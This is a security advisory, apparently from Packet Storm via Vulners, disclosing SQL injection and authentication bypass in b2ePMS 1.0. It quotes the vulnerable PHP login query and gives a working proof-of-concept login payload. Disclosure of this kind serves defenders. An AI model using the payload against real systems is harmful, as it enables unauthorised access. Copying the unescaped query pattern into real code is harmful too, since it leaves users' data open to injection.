Lucene search
K

b2ePMS 1.0 SQL Injection

🗓️ 14 May 2012 00:00:00Reported by Jean Pascal PereiraType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 23 Views

b2ePMS 1.0 SQL Injection and Authentication Bypass Vulnerabilit

Code
`#################################################  
b2ePMS 1.0 Authentication Bypass Vulnerability  
#################################################  
  
Discovered by: Jean Pascal Pereira <[email protected]>  
  
Vendor Information:  
  
"b2ePMS stands for Browser to Email Phone Message System. It is intended to replace the standard   
paper/carbon phone message slips commonly used in offices, with the capability of sending the message  
via a web browser form directly to the recipients inbox."  
  
Vendor URI: https://developer.berlios.de/projects/b2epms/  
  
#################################################  
  
Issue: SQL Injection, Authentication Bypass  
  
Risk level: High  
  
=> The remote attacker has the possibility to execute arbitrary SQL Code.  
  
=> The remote attacker is able to bypass the user authentication.  
  
In verify-user.php, line 20:  
  
-------------------------------------  
  
$sql = mysql_query("SELECT * FROM b2epms_user WHERE username='$username' AND user_passwd='$admin_passwd' AND activated='1' AND user_level='2'");  
$login_check = mysql_num_rows($sql);  
if($login_check > 0){  
while($row = mysql_fetch_array($sql)){  
foreach( $row AS $key => $val ){  
$$key = stripslashes( $val );  
}  
// Register session variables!  
session_register('userid');  
$_SESSION['userid'] = $user_level;  
mysql_query("UPDATE b2epms_user SET login_date=now() WHERE userid='$userid'"); $url = "Location: admin.php";  
header($url);  
}  
}  
  
-------------------------------------  
  
Exploit / Proof Of Concept:  
  
Perform a login with the following data:  
  
Username: admin' OR '1='1  
Password: x  
  
-------------------------------------  
  
#################################################  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

14 May 2012 00:00Current
7.4High risk
Vulners AI Score7.4
23